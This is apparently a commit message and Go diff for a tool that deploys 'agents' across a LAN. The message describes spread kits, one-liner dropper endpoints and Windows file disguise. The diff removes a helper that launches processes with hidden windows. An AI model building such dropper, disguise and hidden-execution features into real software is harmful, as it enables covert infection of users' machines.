Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

fusion/launch_windows.go

@@ -1,20 +1,3 @@
 //go:build windows
 
 package main
-
-import (
-	"os/exec"
-	"syscall"
-)
-
-const createNoWindow = 0x08000000
-
-func applyHiddenStart(cmd *exec.Cmd) {
-	if cmd == nil {
-		return
-	}
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: createNoWindow,
-	}
-}